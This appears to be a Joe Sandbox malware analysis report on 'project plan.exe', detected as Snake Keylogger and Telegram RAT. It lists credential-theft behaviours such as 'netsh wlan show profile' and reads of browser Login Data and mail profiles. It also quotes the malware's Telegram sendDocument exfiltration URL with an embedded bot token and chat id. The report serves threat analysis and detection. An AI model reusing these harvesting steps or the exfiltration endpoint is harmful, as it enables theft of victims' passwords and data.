Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\project plan.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process created: C:\Windows\SysWOW64\netsh.exe "netsh" wlan show profile

Source: Amcache.hve.7.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.7.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 0.2.project plan.exe.16766a241c0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a04378.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3221467298.0000000002D35000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3221467298.0000000002E0A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3221467298.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: project plan.exe PID: 1536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.project plan.exe.16766a241c0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a04378.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: project plan.exe PID: 1536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR

Tries to harvest and steal WLAN passwords

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\netsh.exe "netsh" wlan show profile
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\netsh.exe "netsh" wlan show profile			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0.2.project plan.exe.16766a241c0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a04378.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: project plan.exe PID: 1536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 0.2.project plan.exe.16766a241c0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a04378.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3221467298.0000000002D35000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3221467298.0000000002E0A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3221467298.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: project plan.exe PID: 1536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.project plan.exe.16766a241c0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a04378.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a241c0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.project plan.exe.16766a04378.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: project plan.exe PID: 1536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	311 Process Injection	2 Virtualization/Sandbox Evasion	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Disable or Modify Tools	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	21 Obfuscated Files or Information	LSA Secrets	13 System Information Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
project plan.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
api.telegram.org	2%	Virustotal	Browse
checkip.dyndns.com	0%	Virustotal	Browse
checkip.dyndns.org	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	Avira URL Cloud	safe
http://checkip.dyndns.org	0%	Avira URL Cloud	safe
https://api.telegram.org/bot6064725165:AAHXOwTVVm0GMC2M_NZjTT0hEHEGMgtU55I/sendDocument?chat_id=5361285164&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake	0%	Avira URL Cloud	safe
http://checkip.dyndns.com	0%	Avira URL Cloud	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
http://api.telegram.org	0%	Avira URL Cloud	safe
http://checkip.dyndns.org/q	0%	Avira URL Cloud	safe
http://checkip.dyndns.org/	1%	Virustotal		Browse
http://checkip.dyndns.org	1%	Virustotal		Browse
http://checkip.dyndns.com	0%	Virustotal		Browse
https://api.telegram.org/bot6064725165:AAHXOwTVVm0GMC2M_NZjTT0hEHEGMgtU55I/sendDocument?chat_id=5361	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	1%	Virustotal		Browse
https://api.telegram.org/bot6064725165:AAHXOwTVVm0GMC2M_NZjTT0hEHEGMgtU55I/sendDocument?chat_id=5361	2%	Virustotal		Browse
http://checkip.dyndns.org/q	0%	Virustotal		Browse
http://api.telegram.org	2%	Virustotal		Browse
https://api.telegram.org	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.telegram.org	149.154.167.220	true	true	2%, Virustotal, Browse	unknown
checkip.dyndns.com	132.226.247.73	true	false	0%, Virustotal, Browse	unknown
checkip.dyndns.org	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot6064725165:AAHXOwTVVm0GMC2M_NZjTT0hEHEGMgtU55I/sendDocument?chat_id=5361285164&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://upx.sf.net	Amcache.hve.7.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://checkip.dyndns.org	RegAsm.exe, 00000003.00000002.3221467298.0000000002D35000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3221467298.0000000002D29000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://checkip.dyndns.com	RegAsm.exe, 00000003.00000002.3221467298.0000000002D35000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org	RegAsm.exe, 00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	project plan.exe, 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://api.telegram.org	RegAsm.exe, 00000003.00000002.3221467298.0000000002E57000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegAsm.exe, 00000003.00000002.3221467298.0000000002C71000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	project plan.exe, 00000000.00000002.2170359604.000001676696F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3220109247.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.telegram.org/bot6064725165:AAHXOwTVVm0GMC2M_NZjTT0hEHEGMgtU55I/sendDocument?chat_id=5361	RegAsm.exe, 00000003.00000002.3221467298.0000000002E30000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	true
132.226.247.73	checkip.dyndns.com	United States		16989	UTMEMUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1466687
Start date and time:	2024-07-03 09:27:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	project plan.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@10/5@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 117 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 13.89.179.12, 20.189.173.22
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:28:06	API Interceptor	1x Sleep call for process: RegAsm.exe modified
03:28:17	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Safeguard and Grow Your Assets.html	Get hash	malicious	Unknown	Browse
	Cheat.malware_exe.exe	Get hash	malicious	Unknown	Browse
	Cheat.malware_exe.exe	Get hash	malicious	Unknown	Browse
	Kh7W85ONS7.exe	Get hash	malicious	AsyncRAT, DarkTortilla, StormKitty, WorldWind Stealer	Browse
	hatabat.exe	Get hash	malicious	Blank Grabber, DCRat, XWorm	Browse
	Evo Resou_nls..scr.exe	Get hash	malicious	AsyncRAT	Browse
	Wave.exe	Get hash	malicious	XWorm	Browse
	RFQ 52165 Materiale vario OENAGROUP.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	New Order Ergun Makina Hirdavat Tic #102718.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse
132.226.247.73	MT_01452_03607PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	oHchwlxMNG.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	vsl particulars packing list.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Order Details.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	itinerary_1719382117.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Halkbank_Ekstre_20240625_082306_910668.bat.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	242010.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Baltic questionnaire.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.TrojanLoader.MSIL.DaVinci.Heur.23220.28486.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Win32.TrojanX-gen.29327.20826.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	IMG_0178520003023PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	158.101.44.242
	MT_01452_03607PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.247.73
	PETUNJUK-PENGISIAN DAN PENGIRIMAN KONFIRMASI EDITED.xlsx.scr.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	whiteee.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	whiteee.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	lista de cotizaciones.xlam.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Details.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	PM114079-990528.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	Bank Slip 2.doc	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
api.telegram.org	Safeguard and Grow Your Assets.html	Get hash	malicious	Unknown	Browse	149.154.167.220
	Cheat.malware_exe.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Cheat.malware_exe.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Kh7W85ONS7.exe	Get hash	malicious	AsyncRAT, DarkTortilla, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	hatabat.exe	Get hash	malicious	Blank Grabber, DCRat, XWorm	Browse	149.154.167.220
	Wave.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	RFQ 52165 Materiale vario OENAGROUP.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	New Order Ergun Makina Hirdavat Tic #102718.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220
	Kyeryong Construction - Products List & Spec.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Safeguard and Grow Your Assets.html	Get hash	malicious	Unknown	Browse	149.154.167.220
	82xul16VKj.exe	Get hash	malicious	CryptOne, Vidar	Browse	149.154.167.99
	https://sula.starladeroff.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://tr.alertsgame.ru/	Get hash	malicious	Unknown	Browse	149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	149.154.167.99
	pDHKarOK2v.exe	Get hash	malicious	CryptOne, Vidar	Browse	149.154.167.99
	https://telegrambot-resolved.pages.dev/	Get hash	malicious	Unknown	Browse	149.154.167.99
	1719859269.0326595_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, Xmrig	Browse	149.154.167.99
UTMEMUS	MT_01452_03607PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.247.73
	lista de cotizaciones.xlam.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Details.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	oHchwlxMNG.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	scan copy.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	CDMZxujRpn.elf	Get hash	malicious	Mirai	Browse	132.192.25.142
	vsl particulars packing list.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Order Details.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	LETTER OF AUTHORIZATION.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Order Details.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Inquiry Studbolt - 240703.vbe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	2024.scr.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Enquiry Quote - 24071834-01.vbs	Get hash	malicious	GuLoader	Browse	149.154.167.220
	DHL AWB COMMERCAIL INVOICE AND TRACKING DETAILS.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	2669976595_366408723_KHI_SOF_240702_0957_P.vbs	Get hash	malicious	GuLoader	Browse	149.154.167.220
	DHL Polska_Powiadomienie oprzesy#U0142ce 28036893335.vbs	Get hash	malicious	GuLoader	Browse	149.154.167.220
	AF85714759_htm#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	Zapytanie ofertowe (GASTRON 07022024).vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220
	B24E33 ENQUIRY.vbe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	Purchase Order N#U00b0 20240702.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.220

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_project plan.exe_feb5e1bf740ebfcc66821499cd5ec33f8925b97_c0f593ef_8deeed97-6c03-4b0a-a0b8-fcfe0b574727\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0365186031279516
Encrypted:	false
SSDEEP:	384:Fs82o+GuizUnUFaGmCFzuiFTY4lO8ybY:682VIUnUFaOzuiFTY4lO8
MD5:	C132D4B0E3674820607E68F2CA7C5CCA
SHA1:	923A9BCC498E12F712B1E7AFA7A9B9AD25C5804C
SHA-256:	49C9BF61DC9C2C08ED4577AE230B336677B4127795BE5A205C801460C22DD082
SHA-512:	3D02EAAE678F999B26117EE7EFACBEE8288A31BEE945AB3D20CCE0259BF634253BB2DBF97E984BA064E3D3C7B7CAACF9E2F988760F024FB08B094D8904EAC3DB
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.4.4.6.5.2.7.8.7.7.1.8.3.7.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.4.4.6.5.2.7.9.3.9.6.8.3.2.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.d.e.e.e.d.9.7.-.6.c.0.3.-.4.b.0.a.-.a.0.b.8.-.f.c.f.e.0.b.5.7.4.7.2.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.e.1.5.c.2.3.d.-.8.1.6.e.-.4.f.d.1.-.b.8.d.e.-.4.5.0.5.9.8.b.1.8.f.3.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.p.r.o.j.e.c.t. .p.l.a.n...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.I.r.u.l.o.g.i.x.i.h.e.j.o.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.6.0.0.-.0.0.0.1.-.0.0.1.4.-.0.7.8.b.-.2.d.8.6.1.a.c.d.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.8.b.5.8.6.a.4.f.a.b.a.b.2.7.9.5.e.2.8.4.7.6.7.b.8.9.7.a.3.f.3.0.0.0.0.0.0.0.0.!.0.0.0.0.2.d.3.7.6.1.4.b.b.0.7.5.a.8.5.8.0.f.c.5.f.e.7.8.5.1.d.e.d.b.c.8.8.9.1.1.9.4.4.c.!.p.r.o.j.e.c.t.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDE5D.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Wed Jul 3 07:27:59 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	425157
Entropy (8bit):	3.372526431202278
Encrypted:	false
SSDEEP:	3072:lBHM9MYL24TVJ9cSaFFVDovuzkFhEdh0U1CCqqB6Z3+vj12O84P:lBHMaPuVXaqvuzhD3qm6Z3Q3
MD5:	331FA175A52E693D94E9A815D73B4C5F
SHA1:	3445A52A3F1CD49998796E511BDC9F47CCB63B49
SHA-256:	32FEEF063CD7E25F99BAC72827678829EE4EB3560F2A9AC93FAD296ABF51A83D
SHA-512:	D782F412C77343C465BFA0F5A1C5F29B932B7681F89FE4D5D0DAAC64BD4E0C643C0C78FB29885651FBE2FE1B5401B85070F407DFD81983F8B7E2B7749DC0EA39
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........f....................................$........................I..dv..........l.......8...........T............(..=T...........8...........:..............................................................................eJ......d;......Lw......................T...........\|..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. 